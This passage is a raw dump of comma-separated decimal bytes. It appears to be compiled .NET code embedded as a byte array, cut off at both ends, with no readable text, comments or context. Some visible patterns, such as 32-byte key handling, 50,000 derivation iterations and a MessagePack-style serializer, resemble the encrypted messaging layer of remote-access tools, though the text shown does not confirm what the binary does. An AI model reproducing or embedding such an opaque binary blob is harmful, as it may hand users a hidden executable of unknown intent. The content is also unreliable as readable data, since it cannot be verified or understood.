,6,111,128,0,0,10,111,129,0,0,10,12,56,29,0,0,0,8,111,130,0,0,10,13,7,9,114,96,37,0,112,111,131,0,0,10,111,56,0,0,10,111,163,0,0,10,8,111,133,0,0,10,45,219,221,13,0,0,0,8,57,6,0,0,0,8,111,51,0,0,10,220,7,111,164,0,0,10,58,12,0,0,0,114,120,37,0,112,19,4,221,49,0,0,0,114,128,37,0,112,7,111,165,0,0,10,40,166,0,0,10,19,4,221,26,0,0,0,6,57,6,0,0,0,6,111,51,0,0,10,220,38,114,120,37,0,112,19,4,221,0,0,0,0,17,4,42,1,40,0,0,2,0,49,0,47,96,0,13,0,0,0,0,2,0,31,0,124,155,0,13,0,0,0,0,0,0,0,0,168,168,0,13,1,0,0,1,19,48,2,0,57,0,0,0,15,0,0,17,40,167,0,0,10,10,22,11,56,36,0,0,0,6,7,163,10,0,0,1,12,8,111,168,0,0,10,2,111,169,0,0,10,40,170,0,0,10,57,2,0,0,0,8,42,7,23,88,11,7,6,142,105,50,214,20,42,0,0,0,27,48,1,0,23,0,0,0,0,0,0,0,32,3,0,0,128,40,60,0,0,6,38,221,6,0,0,0,38,221,0,0,0,0,42,0,1,16,0,0,0,0,0,0,16,16,0,6,1,0,0,1,27,48,3,0,64,0,0,0,16,0,0,17,32,0,1,0,0,115,171,0,0,10,10,40,56,0,0,6,6,32,0,1,0,0,40,57,0,0,6,22,62,12,0,0,0,6,111,56,0,0,10,11,221,17,0,0,0,221,6,0,0,0,38,221,0,0,0,0,114,23,3,0,112,42,7,42,1,16,0,0,0,0,0,0,50,50,0,6,1,0,0,1,19,48,3,0,20,0,0,0,2,0,0,17,22,126,8,0,0,4,18,0,115,172,0,0,10,128,30,0,0,4,6,42,27,48,3,0,42,0,0,0,0,0,0,0,20,254,6,62,0,0,6,115,174,0,0,10,40,175,0,0,10,40,176,0,0,10,23,22,22,40,61,0,0,6,221,6,0,0,0,38,221,0,0,0,0,42,0,0,1,16,0,0,0,0,0,0,35,35,0,6,1,0,0,1,27,48,3,0,27,0,0,0,0,0,0,0,22,22,22,40,61,0,0,6,221,13,0,0,0,38,32,160,134,1,0,40,20,0,0,10,43,244,42,0,1,16,0,0,0,0,0,0,13,13,0,13,1,0,0,1,27,48,4,0,65,0,0,0,17,0,0,17,126,101,0,0,10,126,35,0,0,4,24,111,177,0,0,10,10,6,2,3,25,111,178,0,0,10,23,11,221,30,0,0,0,6,57,6,0,0,0,6,111,51,0,0,10,220,111,179,0,0,10,40,73,0,0,6,221,0,0,0,0,22,42,7,42,0,0,0,1,28,0,0,2,0,17,0,16,33,0,13,0,0,0,0,0,0,0,0,46,46,0,15,49,0,0,1,27,48,2,0,66,0,0,0,18,0,0,17,126,101,0,0,10,126,35,0,0,4,111,180,0,0,10,10,6,2,111,181,0,0,10,116,2,0,0,27,11,221,30,0,0,0,6,57,6,0,0,0,6,111,51,0,0,10,220,111,179,0,0,10,40,73,0,0,6,221,0,0,0,0,20,42,7,42,0,0,1,28,0,0,2,0,16,0,18,34,0,13,0,0,0,0,0,0,0,0,47,47,0,15,49,0,0,1,27,48,2,0,62,0,0,0,17,0,0,17,126,101,0,0,10,126,35,0,0,4,111,180,0,0,10,10,6,2,111,182,0,0,10,23,11,221,30,0,0,0,6,57,6,0,0,0,6,111,51,0,0,10,220,111,179,0,0,10,40,73,0,0,6,221,0,0,0,0,22,42,7,42,0,0,1,28,0,0,2,0,16,0,14,30,0,13,0,0,0,0,0,0,0,0,43,43,0,15,49,0,0,1,27,48,3,0,67,0,0,0,17,0,0,17,126,101,0,0,10,114,23,3,0,112,23,111,183,0,0,10,10,6,126,35,0,0,4,111,184,0,0,10,23,11,221,30,0,0,0,6,57,6,0,0,0,6,111,51,0,0,10,220,111,179,0,0,10,40,73,0,0,6,221,0,0,0,0,22,42,7,42,0,1,28,0,0,2,0,17,0,18,35,0,13,0,0,0,0,0,0,0,0,48,48,0,15,49,0,0,1,27,48,4,0,226,1,0,0,19,0,0,17,115,148,0,0,6,10,6,2,116,2,0,0,27,111,134,0,0,6,6,114,58,33,0,112,111,127,0,0,6,111,139,0,0,6,11,7,57,164,1,0,0,7,114,154,37,0,112,40,37,0,0,10,58,37,0,0,0,7,114,164,37,0,112,40,37,0,0,10,58,96,0,0,0,7,114,178,37,0,112,40,37,0,0,10,58,217,0,0,0,56,111,1,0,0,22,40,26,0,0,6,115,148,0,0,6,37,114,58,33,0,112,111,127,0,0,6,114,154,37,0,112,111,129,0,0,6,37,114,82,33,0,112,111,127,0,0,6,40,23,0,0,6,106,111,116,0,0,6,111,137,0,0,6,40,32,0,0,6,22,40,24,0,0,6,56,36,1,0,0,0,6,114,200,37,0,112,111,127,0,0,6,111,139,0,0,6,40,66,0,0,6,58,84,0,0,0,126,36,0,0,4,6,111,185,0,0,10,115,148,0,0,6,37,114,58,33,0,112,111,127,0,0,6,114,208,37,0,112,111,129,0,0,6,37,114,230,37,0,112,111,127,0,0,6,6,114,200,37,0,112,111,127,0,0,6,111,139,0,0,6,111,129,0,0,6,111,137,0,0,6,40,32,0,0,6,56,6,0,0,0,6,40,71,0,0,6,221,170,0,0,0,111,179,0,0,10,40,73,0,0,6,221,155,0,0,0,6,114,244,37,0,112,111,127,0,0,6,111,139,0,0,6,6,114,200,37,0,112,111,127,0,0,6,111,122,0,0,6,40,65,0,0,6,38,126,36,0,0,4,40,1,0,0,43,111,187,0,0,10,12,56,68,0,0,0,18,2,40,188,0,0,10,13,9,114,200,37,0,112,111,127,0,0,6,111,139,0,0,6,6,114,244,37,0,112,111,127,0,0,6,111,139,0,0,6,40,37,0,0,10,57,18,0,0,0,9,40,71,0,0,6,126,36,0,0,4,9,111,189,0,0,10,38,18,2,40,190,0,0,10,45,179,221,14,0,0,0,18,2,254,22,4,0,0,27,111,51,0,0,10,220,221,15,0,0,0,111,179,0,0,10,40,73,0,0,6,221,0,0,0,0,42,0,0,65,76,0,0,0,0,0,0,170,0,0,0,121,0,0,0,35,1,0,0,15,0,0,0,49,0,0,1,2,0,0,0,104,1,0,0,87,0,0,0,191,1,0,0,14,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,210,1,0,0,210,1,0,0,15,0,0,0,49,0,0,1,19,48,11,0,17,1,0,0,20,0,0,17,40,191,0,0,10,2,114,200,37,0,112,111,127,0,0,6,111,139,0,0,6,40,66,0,0,6,40,162,0,0,6,111,192,0,0,10,114,254,37,0,112,111,193,0,0,10,40,194,0,0,10,10,126,37,0,0,4,58,133,0,0,0,32,0,1,0,0,114,26,38,0,112,20,208,15,0,0,2,40,195,0,0,10,31,9,141,126,0,0,1,37,22,22,20,40,196,0,0,10,162,37,23,23,20,40,196,0,0,10,162,37,24,23,20,40,196,0,0,10,162,37,25,23,20,40,196,0,0,10,162,37,26,23,20,40,196,0,0,10,162,37,27,23,20,40,196,0,0,10,162,37,28,23,20,40,196,0,0,10,162,37,29,23,20,40,196,0,0,10,162,37,30,23,20,40,196,0,0,10,162,40,197,0,0,10,40,198,0,0,10,128,37,0,0,4,126,37,0,0,4,123,199,0,0,10,126,37,0,0,4,6,40,6,0,0,6,126,11,0,0,4,126,16,0,0,4,2,114,34,38,0,112,111,127,0,0,6,111,122,0,0,6,126,30,0,0,4,126,8,0,0,4,126,15,0,0,4,126,4,0,0,4,111,200,0,0,10,40,72,0,0,6,42,0,0,0,27,48,3,0,92,0,0,0,21,0,0,17,2,40,24,0,0,10,3,40,202,0,0,10,57,11,0,0,0,114,80,38,0,112,115,203,0,0,10,122,3,126,44,0,0,4,32,80,195,0,0,115,204,0,0,10,10,2,6,31,32,111,205,0,0,10,125,42,0,0,4,2,6,31,64,111,205,0,0,10,125,43,0,0,4,221,13,0,0,0,6,57,6,0,0,0,6,111,51,0,0,10,220,42,1,16,0,0,2,0,45,0,33,78,0,13,0,0,0,0,27,48,5,0,21,1,0,0,22,0,0,17,3,58,11,0,0,0,114,152,38,0,112,115,207,0,0,10,122,115,208,0,0,10,10,6,31,32,106,111,78,0,0,10,115,209,0,0,10,11,7,32,0,1,0,0,111,210,0,0,10,7,32,128,0,0,0,111,211,0,0,10,7,23,111,212,0,0,10,7,24,111,213,0,0,10,7,2,123,42,0,0,4,111,214,0,0,10,7,111,215,0,0,10,6,7,111,216,0,0,10,23,115,217,0,0,10,12,6,7,111,218,0,0,10,22,7,111,218,0,0,10,142,105,111,76,0,0,10,8,3,22,3,142,105,111,76,0,0,10,8,111,219,0,0,10,2,123,43,0,0,4,115,220,0,0,10,13,9,6,111,221,0,0,10,31,32,6,111,221,0,0,10,142,105,31,32,89,111,222,0,0,10,19,4,6,22,106,111,78,0,0,10,6,17,4,22,17,4,142,105,111,76,0,0,10,221,39,0,0,0,9,57,6,0,0,0,9,111,51,0,0,10,220,8,57,6,0,0,0,8,111,51,0,0,10,220,7,57,6,0,0,0,7,111,51,0,0,10,220,6,111,221,0,0,10,19,5,221,13,0,0,0,6,57,6,0,0,0,6,111,51,0,0,10,220,17,5,42,0,0,0,1,52,0,0,2,0,156,0,53,209,0,13,0,0,0,0,2,0,106,0,116,222,0,13,0,0,0,0,2,0,38,0,197,235,0,13,0,0,0,0,2,0,23,0,238,5,1,13,0,0,0,0,27,48,5,0,80,1,0,0,23,0,0,17,3,58,11,0,0,0,114,152,38,0,112,115,207,0,0,10,122,3,115,77,0,0,10,10,115,209,0,0,10,11,7,32,0,1,0,0,111,210,0,0,10,7,32,128,0,0,0,111,211,0,0,10,7,23,111,212,0,0,10,7,24,111,213,0,0,10,7,2,123,42,0,0,4,111,214,0,0,10,2,123,43,0,0,4,115,220,0,0,10,12,8,6,111,221,0,0,10,31,32,6,111,221,0,0,10,142,105,31,32,89,111,222,0,0,10,13,31,32,141,68,0,0,1,19,4,6,17,4,22,17,4,142,105,111,69,0,0,10,38,2,9,17,4,40,80,0,0,6,58,11,0,0,0,114,198,38,0,112,115,223,0,0,10,122,221,13,0,0,0,8,57,6,0,0,0,8,111,51,0,0,10,220,31,16,141,68,0,0,1,19,5,6,17,5,22,31,16,111,69,0,0,10,38,7,17,5,111,224,0,0,10,6,7,111,225,0,0,10,22,115,217,0,0,10,19,6,6,111,226,0,0,10,31,16,106,89,23,106,88,212,141,68,0,0,1,19,7,17,6,17,7,22,17,7,142,105,111,69,0,0,10,141,68,0,0,1,19,8,17,7,22,17,8,22,17,8,142,105,40,227,0,0,10,17,8,19,9,221,41,0,0,0,17,6,57,7,0,0,0,17,6,111,51,0,0,10,220,7,57,6,0,0,0,7,111,51,0,0,10,220,6,57,6,0,0,0,6,111,51,0,0,10,220,17,9,42,65,100,0,0,2,0,0,0,90,0,0,0,79,0,0,0,169,0,0,0,13,0,0,0,0,0,0,0,2,0,0,0,226,0,0,0,66,0,0,0,36,1,0,0,15,0,0,0,0,0,0,0,2,0,0,0,30,0,0,0,21,1,0,0,51,1,0,0,13,0,0,0,0,0,0,0,2,0,0,0,24,0,0,0,40,1,0,0,64,1,0,0,13,0,0,0,0,0,0,0,19,48,3,0,34,0,0,0,24,0,0,17,23,10,22,11,56,17,0,0,0,3,7,145,4,7,145,59,2,0,0,0,22,10,7,23,88,11,7,3,142,105,50,233,6,42,0,0,27,48,3,0,110,0,0,0,25,0,0,17,40,25,0,0,10,2,111,31,0,0,10,10,115,229,0,0,10,11,7,6,111,143,0,0,10,10,221,13,0,0,0,7,57,6,0,0,0,7,111,51,0,0,10,220,115,144,0,0,10,12,6,13,22,19,4,56,31,0,0,0,9,17,4,145,19,5,8,18,5,114,28,39,0,112,40,145,0,0,10,111,146,0,0,10,38,17,4,23,88,19,4,17,4,9,142,105,50,218,8,111,56,0,0,10,111,148,0,0,10,42,0,0,1,16,0,0,2,0,18,0,13,31,0,13,0,0,0,0,27,48,2,0,34,0,0,0,26,0,0,17,115,229,0,0,10,10,6,2,111,143,0,0,10,11,221,13,0,0,0,6,57,6,0,0,0,6,111,51,0,0,10,220,7,42,0,0,1,16,0,0,2,0,6,0,13,19,0,13,0,0,0,0,19,48,3,0,59,0,0,0,27,0,0,17,115,144,0,0,10,10,2,11,22,12,56,31,0,0,0,7,8,145,13,6,114,34,39,0,112,9,140,68,0,0,1,40,230,0,0,10,111,146,0,0,10,38,8,23,88,12,8,7,142,105,50,219,6,111,56,0,0,10,42,0,19,48,3,0,59,0,0,0,27,0,0,17,115,144,0,0,10,10,2,11,22,12,56,31,0,0,0,7,8,145,13,6,114,50,39,0,112,9,140,68,0,0,1,40,230,0,0,10,111,146,0,0,10,38,8,23,88,12,8,7,142,105,50,219,6,111,56,0,0,10,42,0,19,48,4,0,44,0,0,0,28,0,0,17,2,142,105,141,68,0,0,1,10,2,142,105,23,89,11,22,12,56,14,0,0,0,6,8,2,7,145,156,7,23,89,11,8,23,88,12,8,6,142,105,50,236,6,42,19,48,2,0,54,0,0,0,1,0,0,17,22,10,56,21,0,0,0,2,123,56,0,0,4,6,111,234,0,0,10,111,107,0,0,6,6,23,88,10,6,2,123,56,0,0,4,111,235,0,0,10,50,221,2,123,56,0,0,4,111,236,0,0,10,42,0,0,19,48,2,0,27,0,0,0,29,0,0,17,115,148,0,0,6,10,6,2,125,55,0,0,4,2,123,56,0,0,4,6,111,185,0,0,10,6,42,0,27,48,2,0,96,0,0,0,30,0,0,17,21,10,21,11,3,111,125,0,0,10,12,2,123,56,0,0,4,111,187,0,0,10,13,56,38,0,0,0,18,3,40,188,0,0,10,19,4,6,23,88,10,8,17,4,123,52,0,0,4,111,237,0,0,10,57,7,0,0,0,6,11,221,28,0,0,0,18,3,40,190,0,0,10,45,209,221,14,0,0,0,18,3,254,22,4,0,0,27,111,51,0,0,10,220,7,42,1,16,0,0,2,0,23,0,57,80,0,14,0,0,0,0,19,48,2,0,30,0,0,0,1,0,0,17,2,3,40,109,0,0,6,10,6,21,64,2,0,0,0,20,42,2,123,56,0,0,4,6,111,234,0,0,10,42,0,0,19,48,4,0,188,0,0,0,31,0,0,17,2,123,56,0,0,4,111,235,0,0,10,10,6,31,15,61,22,0,0,0,32,128,0,0,0,6,210,88,210,11,3,7,111,238,0,0,10,56,89,0,0,0,6,32,255,255,0,0,61,42,0,0,0,32,222,0,0,0,11,3,7,111,238,0,0,10,6,104,40,239,0,0,10,40,88,0,0,6,12,3,8,22,8,142,105,111,76,0,0,10,56,36,0,0,0,32,223,0,0,0,11,3,7,111,238,0,0,10,6,40,74,0,0,10,40,88,0,0,6,12,3,8,22,8,142,105,111,76,0,0,10,22,13,56,45,0,0,0,3,2,123,56,0,0,4,9,111,234,0,0,10,123,51,0,0,4,40,154,0,0,6,2,123,56,0,0,4,9,111,234,0,0,10,3,111,138,0,0,6,9,23,88,13,9,6,50,207,42,19,48,4,0,165,0,0,0,31,0,0,17,2,123,56,0,0,4,111,235,0,0,10,10,6,31,15,61,22,0,0,0,32,144,0,0,0,6,210,88,210,11,3,7,111,238,0,0,10,56,89,0,0,0,6,32,255,255,0,0,61,42,0,0,0,32,220,0,0,0,11,3,7,111,238,0,0,10,6,104,40,239,0,0,10,40,88,0,0,6,12,3,8,22,8,142,105,111,76,0,0,10,56,36,0,0,0,32,221,0,0,0,11,3,7,111,238,0,0,10,6,40,74,0,0,10,40,88,0,0,6,12,3,8,22,8,142,105,111,76,0,0,10,22,13,56,22,0,0,0,2,123,56,0,0,4,9,111,234,0,0,10,3,111,138,0,0,6,9,23,88,13,9,6,50,230,42,0,0,0,19,48,2,0,153,0,0,0,32,0,0,17,2,123,54,0,0,4,10,6,26,89,69,7,0,0,0,34,0,0,0,5,0,0,0,22,0,0,0,107,0,0,0,56,0,0,0,73,0,0,0,90,0,0,0,56,102,0,0,0,2,123,53,0,0,4,165,104,0,0,1,40,240,0,0,10,42,2,123,53,0,0,4,165,149,0,0,1,42,2,123,53,0,0,4,111,56,0,0,10,111,241,0,0,10,40,242,0,0,10,42,2,123,53,0,0,4,165,150,0,0,1,40,243,0,0,10,42,2,123,53,0,0,4,165,151,0,0,1,40,244,0,0,10,42,2,123,53,0,0,4,165,107,0,0,1,40,245,0,0,10,42,22,106,42,0,0,0,19,48,2,0,153,0,0,0,32,0,0,17,2,123,54,0,0,4,10,6,26,89,69,7,0,0,0,34,0,0,0,5,0,0,0,17,0,0,0,107,0,0,0,56,0,0,0,73,0,0,0,90,0,0,0,56,102,0,0,0,2,123,53,0,0,4,165,104,0,0,1,42,2,123,53,0,0,4,165,104,0,0,1,40,246,0,0,10,42,2,123,53,0,0,4,111,56,0,0,10,111,241,0,0,10,40,247,0,0,10,42,2,123,53,0,0,4,165,150,0,0,1,40,248,0,0,10,42,2,123,53,0,0,4,165,151,0,0,1,40,249,0,0,10,42,2,123,53,0,0,4,165,107,0,0,1,40,250,0,0,10,42,22,106,42,0,0,0,19,48,2,0,135,0,0,0,32,0,0,17,2,123,54,0,0,4,10,6,26,89,69,7,0,0,0,22,0,0,0,5,0,0,0,82,0,0,0,82,0,0,0,39,0,0,0,51,0,0,0,64,0,0,0,56,77,0,0,0,2,123,53,0,0,4,165,104,0,0,1,40,251,0,0,10,42,2,123,53,0,0,4,116,56,0,0,1,40,252,0,0,10,42,2,123,53,0,0,4,165,150,0,0,1,42,2,123,53,0,0,4,165,151,0,0,1,108,42,2,123,53,0,0,4,165,107,0,0,1,40,250,0,0,10,108,42,35,0,0,0,0,0,0,0,0,42,0,19,48,2,0,164,0,0,0,33,0,0,17,2,123,54,0,0,4,10,6,26,89,69,8,0,0,0,22,0,0,0,5,0,0,0,110,0,0,0,110,0,0,0,39,0,0,0,56,0,0,0,73,0,0,0,98,0,0,0,56,105,0,0,0,2,123,53,0,0,4,165,104,0,0,1,40,231,0,0,10,42,2,123,53,0,0,4,111,56,0,0,10,40,84,0,0,6,42,2,123,53,0,0,4,165,150,0,0,1,40,232,0,0,10,42,2,123,53,0,0,4,165,151,0,0,1,40,253,0,0,10,42,2,123,53,0,0,4,165,107,0,0,1,11,18,1,40,254,0,0,10,40,231,0,0,10,42,2,123,53,0,0,4,116,2,0,0,27,42,22,141,68,0,0,1,42,19,48,4,0,75,0,0,0,34,0,0,17,3,40,106,0,0,10,57,62,0,0,0,20,10,3,25,23,23,115,255,0,0,10,11,7,111,226,0,0,10,212,141,68,0,0,1,10,7,6,22,7,111,226,0,0,10,105,111,69,0,0,10,38,7,111,159,0,0,10,7,111,64,0,0,10,2,6,40,121,0,0,6,23,42,22,42,0,19,48,5,0,64,0,0,0,0,0,0,0,2,123,53,0,0,4,57,51,0,0,0,3,28,115,108,0,0,10,37,2,123,53,0,0,4,116,2,0,0,27,22,2,123,53,0,0,4,116,2,0,0,27,142,105,111,76,0,0,10,37,111,159,0,0,10,111,64,0,0,10,23,42,22,42,19,48,4,0,175,0,0,0,35,0,0,17,2,10,3,111,241,0,0,10,25,141,57,0,0,1,37,208,71,0,0,4,40,228,0,0,10,111,38,0,0,10,11,20,12,7,142,58,2,0,0,0,20,42,7,142,105,23,62,65,0,0,0,22,13,56,50,0,0,0,7,9,163,56,0,0,1,12,6,8,111,110,0,0,6,19,4,17,4,58,19,0,0,0,6,111,111,0,0,6,10,6,8,111,106,0,0,6,56,3,0,0,0,17,4,10,9,23,88,13,9,7,142,105,23,89,50,198,7,7,142,105,23,89,163,56,0,0,1,12,6,8,111,109,0,0,6,19,5,17,5,21,62,14,0,0,0,6,123,56,0,0,4,17,5,111,234,0,0,10,42,6,111,111,0,0,6,10,6,8,111,106,0,0,6,6,42,0,27,48,4,0,59,0,0,0,36,0,0,17,115,208,0,0,10,10,3,40,162,0,0,6,16,1,6,3,22,3,142,105,111,76,0,0,10,6,22,106,111,78,0,0,10,2,6,40,136,0,0,6,221,13,0,0,0,6,57,6,0,0,0,6,111,51,0,0,10,220,42,0,1,16,0,0,2,0,6,0,39,45,0,13,0,0,0,0,19,48,2,0,22,0,0,0,37,0,0,17,3,25,115,108,0,0,10,10,2,6,40,136,0,0,6,6,111,64,0,0,10,42,0,0,19,48,4,0,7,6,0,0,38,0,0,17,3,111,0,1,0,10,210,10,20,11,22,12,22,13,6,31,127,61,9,0,0,0,2,6,110,40,116,0,0,6,42,6,32,128,0,0,0,63,72,0,0,0,6,32,143,0,0,0,61,61,0,0,0,2,40,107,0,0,6,2,24,125,54,0,0,4,6,32,128,0,0,0,89,12,22,13,56,28,0,0,0,2,40,108,0,0,6,37,3,40,150,0,0,6,111,106,0,0,6,3,111,136,0,0,6,9,23,88,13,9,8,50,224,42,6,32,144,0,0,0,63,60,0,0,0,6,32,159,0,0,0,61,49,0,0,0,2,40,107,0,0,6,2,25,125,54,0,0,4,6,32,144,0,0,0,89,12,22,13,56,16,0,0,0,2,40,108,0,0,6,3,111,136,0,0,6,9,23,88,13,9,8,50,236,42,6,32,160,0,0,0,63,33,0,0,0,6,32,191,0,0,0,61,22,0,0,0,6,32,160,0,0,0,89,12,2,3,8,40,149,0,0,6,40,129,0,0,6,42,6,32,224,0,0,0,63,21,0,0,0,6,32,255,0,0,0,61,10,0,0,0,2,6,103,106,40,116,0,0,6,42,6,32,192,0,0,0,64,7,0,0,0,2,40,128,0,0,6,42,6,32,193,0,0,0,64,11,0,0,0,114,66,39,0,112,115,1,1,0,10,122,6,32,194,0,0,0,64,8,0,0,0,2,22,40,131,0,0,6,42,6,32,195,0,0,0,64,8,0,0,0,2,23,40,131,0,0,6,42,6,32,196,0,0,0,64,32,0,0,0,3,111,0,1,0,10,12,8,141,68,0,0,1,11,3,7,22,8,111,69,0,0,10,38,2,7,40,121,0,0,6,42,6,32,197,0,0,0,64,57,0,0,0,24,141,68,0,0,1,11,3,7,22,24,111,69,0,0,10,38,7,40,88,0,0,6,11,7,22,40,2,1,0,10,12,8,141,68,0,0,1,11,3,7,22,8,111,69,0,0,10,38,2,7,40,121,0,0,6,42,6,32,198,0,0,0,64,57,0,0,0,26,141,68,0,0,1,11,3,7,22,26,111,69,0,0,10,38,7,40,88,0,0,6,11,7,22,40,68,0,0,10,12,8,141,68,0,0,1,11,3,7,22,8,111,69,0,0,10,38,2,7,40,121,0,0,6,42,6,32,199,0,0,0,59,22,0,0,0,6,32,200,0,0,0,59,11,0,0,0,6,32,201,0,0,0,64,11,0,0,0,114,110,39,0,112,115,1,1,0,10,122,6,32,202,0,0,0,64,38,0,0,0,26,141,68,0,0,1,11,3,7,22,26,111,69,0,0,10,38,7,40,88,0,0,6,11,2,7,22,40,3,1,0,10,40,132,0,0,6,42,6,32,203,0,0,0,64,38,0,0,0,30,141,68,0,0,1,11,3,7,22,30,111,69,0,0,10,38,7,40,88,0,0,6,11,2,7,22,40,4,1,0,10,40,133,0,0,6,42,6,32,204,0,0,0,64,17,0,0,0,3,111,0,1,0,10,210,10,2,6,110,40,116,0,0,6,42,6,32,205,0,0,0,64,39,0,0,0,24,141,68,0,0,1,11,3,7,22,24,111,69,0,0,10,38,7,40,88,0,0,6,11,2,7,22,40,2,1,0,10,110,40,116,0,0,6,42,6,32,206,0,0,0,64,39,0,0,0,26,141,68,0,0,1,11,3,7,22,26,111,69,0,0,10,38,7,40,88,0,0,6,11,2,7,22,40,5,1,0,10,110,40,116,0,0,6,42,6,32,207,0,0,0,64,38,0,0,0,30,141,68,0,0,1,11,3,7,22,30,111,69,0,0,10,38,7,40,88,0,0,6,11,2,7,22,40,6,1,0,10,40,117,0,0,6,42,6,32,220,0,0,0,64,73,0,0,0,24,141,68,0,0,1,11,3,7,22,24,111,69,0,0,10,38,7,40,88,0,0,6,11,7,22,40,7,1,0,10,12,2,40,107,0,0,6,2,25,125,54,0,0,4,22,13,56,16,0,0,0,2,40,108,0,0,6,3,111,136,0,0,6,9,23,88,13,9,8,50,236,42,6,32,221,0,0,0,64,73,0,0,0,26,141,68,0,0,1,11,3,7,22,26,111,69,0,0,10,38,7,40,88,0,0,6,11,7,22,40,7,1,0,10,12,2,40,107,0,0,6,2,25,125,54,0,0,4,22,13,56,16,0,0,0,2,40,108,0,0,6,3,111,136,0,0,6,9,23,88,13,9,8,50,236,42,6,32,217,0,0,0,64,14,0,0,0,2,6,3,40,151,0,0,6,40,129,0,0,6,42,6,32,222,0,0,0,64,85,0,0,0,24,141,68,0,0,1,11,3,7,22,24,111,69,0,0,10,38,7,40,88,0,0,6,11,7,22,40,7,1,0,10,12,2,40,107,0,0,6,2,24,125,54,0,0,4,22,13,56,28,0,0,0,2,40,108,0,0,6,37,3,40,150,0,0,6,111,106,0,0,6,3,111,136,0,0,6,9,23,88,13,9,8,50,224,42,6,32,222,0,0,0,64,85,0,0,0,24,141,68,0,0,1,11,3,7,22,24,111,69,0,0,10,38,7,40,88,0,0,6,11,7,22,40,7,1,0,10,12,2,40,107,0,0,6,2,24,125,54,0,0,4,22,13,56,28,0,0,0,2,40,108,0,0,6,37,3,40,150,0,0,6,111,106,0,0,6,3,111,136,0,0,6,9,23,88,13,9,8,50,224,42,6,32,223,0,0,0,64,85,0,0,0,26,141,68,0,0,1,11,3,7,22,26,111,69,0,0,10,38,7,40,88,0,0,6,11,7,22,40,68,0,0,10,12,2,40,107,0,0,6,2,24,125,54,0,0,4,22,13,56,28,0,0,0,2,40,108,0,0,6,37,3,40,150,0,0,6,111,106,0,0,6,3,111,136,0,0,6,9,23,88,13,9,8,50,224,42,6,32,218,0,0,0,64,14,0,0,0,2,6,3,40,151,0,0,6,40,129,0,0,6,42,6,32,219,0,0,0,64,14,0,0,0,2,6,3,40,151,0,0,6,40,129,0,0,6,42,6,32,208,0,0,0,64,15,0,0,0,2,3,111,0,1,0,10,103,106,40,116,0,0,6,42,6,32,209,0,0,0,64,39,0,0,0,24,141,68,0,0,1,11,3,7,22,24,111,69,0,0,10,38,7,40,88,0,0,6,11,2,7,22,40,7,1,0,10,106,40,116,0,0,6,42,6,32,210,0,0,0,64,39,0,0,0,26,141,68,0,0,1,11,3,7,22,26,111,69,0,0,10,38,7,40,88,0,0,6,11,2,7,22,40,68,0,0,10,106,40,116,0,0,6,42,6,32,211,0,0,0,64,37,0,0,0,30,141,68,0,0,1,11,3,7,22,30,111,69,0,0,10,38,7,40,88,0,0,6,11,2,7,22,40,8,1,0,10,40,116,0,0,6,42,0,27,48,4,0,77,0,0,0,39,0,0,17,115,208,0,0,10,10,2,6,40,138,0,0,6,6,111,226,0,0,10,212,141,68,0,0,1,11,6,22,106,111,78,0,0,10,6,7,22,6,111,226,0,0,10,105,111,69,0,0,10,38,7,40,163,0,0,6,12,221,13,0,0,0,6,57,6,0,0,0,6,111,51,0,0,10,220,8,42,0,0,0,1,16,0,0,2,0,6,0,56,62,0,13,0,0,0,0,19,48,2,0,236,0,0,0,32,0,0,17,2,123,54,0,0,4,10,6,69,12,0,0,0,5,0,0,0,5,0,0,0,152,0,0,0,160,0,0,0,12,0,0,0,30,0,0,0,48,0,0,0,66,0,0,0,84,0,0,0,102,0,0,0,121,0,0,0,134,0,0,0,56,163,0,0,0,3,40,153,0,0,6,42,3,2,123,53,0,0,4,116,56,0,0,1,40,154,0,0,6,42,3,2,123,53,0,0,4,165,104,0,0,1,40,160,0,0,6,42,3,2,123,53,0,0,4,165,149,0,0,1,40,159,0,0,6,42,3,2,123,53,0,0,4,165,108,0,0,1,40,158,0,0,6,42,3,2,123,53,0,0,4,165,150,0,0,1,40,156,0,0,6,42,3,2,123,53,0,0,4,165,151,0,0,1,108,40,156,0,0,6,42,3,2,40,119,0,0,6,40,160,0,0,6,42,3,2,123,53,0,0,4,116,2,0,0,27,40,155,0,0,6,42,2,3,40,114,0,0,6,42,2,3,40,115,0,0,6,42,3,40,153,0,0,6,42,27,48,3,0,66,0,0,0,40,0,0,17,2,10,22,11,6,18,1,40,73,0,0,10,2,123,57,0,0,4,58,18,0,0,0,2,2,2,123,56,0,0,4,115,99,0,0,6,125,57,0,0,4,221,13,0,0,0,7,57,6,0,0,0,6,40,80,0,0,10,220,2,123,57,0,0,4,42,0,0,1,16,0,0,2,0,4,0,42,46,0,13,0,0,0,0,19,48,4,0,24,0,0,0,41,0,0,17,3,141,68,0,0,1,10,2,6,22,3,111,69,0,0,10,38,6,40,85,0,0,6,42,19,48,4,0,177,0,0,0,42,0,0,17,20,10,22,11,2,32,160,0,0,0,63,24,0,0,0,2,32,191,0,0,0,61,13,0,0,0,2,32,160,0,0,0,89,11,56,114,0,0,0,2,32,217,0,0,0,64,12,0,0,0,3,111,0,1,0,10,11,56,91,0,0,0,2,32,218,0,0,0,64,37,0,0,0,24,141,68,0,0,1,10,3,6,22,24,111,69,0,0,10,38,6,40,88,0,0,6,10,6,22,40,2,1,0,10,11,56,43,0,0,0,2,32,219,0,0,0,64,32,0,0,0,26,141,68,0,0,1,10,3,6,22,26,111,69,0,0,10,38,6,40,88,0,0,6,10,6,22,40,68,0,0,10,11,7,141,68,0,0,1,10,3,6,22,7,111,69,0,0,10,38,6,40,85,0,0,6,42,0,0,0,19,48,4,0,185,0,0,0,43,0,0,17,3,40,84,0,0,6,10,20,11,6,142,105,12,22,13,8,31,31,61,22,0,0,0,32,160,0,0,0,8,210,88,210,13,2,9,111,238,0,0,10,56,128,0,0,0,8,32,255,0,0,0,61,28,0,0,0,32,217,0,0,0,13,2,9,111,238,0,0,10,8,210,13,2,9,111,238,0,0,10,56,89,0,0,0,8,32,255,255,0,0,61,42,0,0,0,32,218,0,0,0,13,2,9,111,238,0,0,10,8,104,40,239,0,0,10,40,88,0,0,6,11,2,7,22,7,142,105,111,76,0,0,10,56,36,0,0,0,32,219,0,0,0,13,2,9,111,238,0,0,10,8,40,74,0,0,10,40,88,0,0,6,11,2,7,22,7,142,105,111,76,0,0,10,2,6,22,6,142,105,111,76,0,0,10,42,0,0,0,19,48,4,0,148,0,0,0,44,0,0,17,20,10,3,142,105,11,22,12,7,32,255,0,0,0,61,28,0,0,0,32,196,0,0,0,12,2,8,111,238,0,0,10,7,210,12,2,8,111,238,0,0,10,56,89,0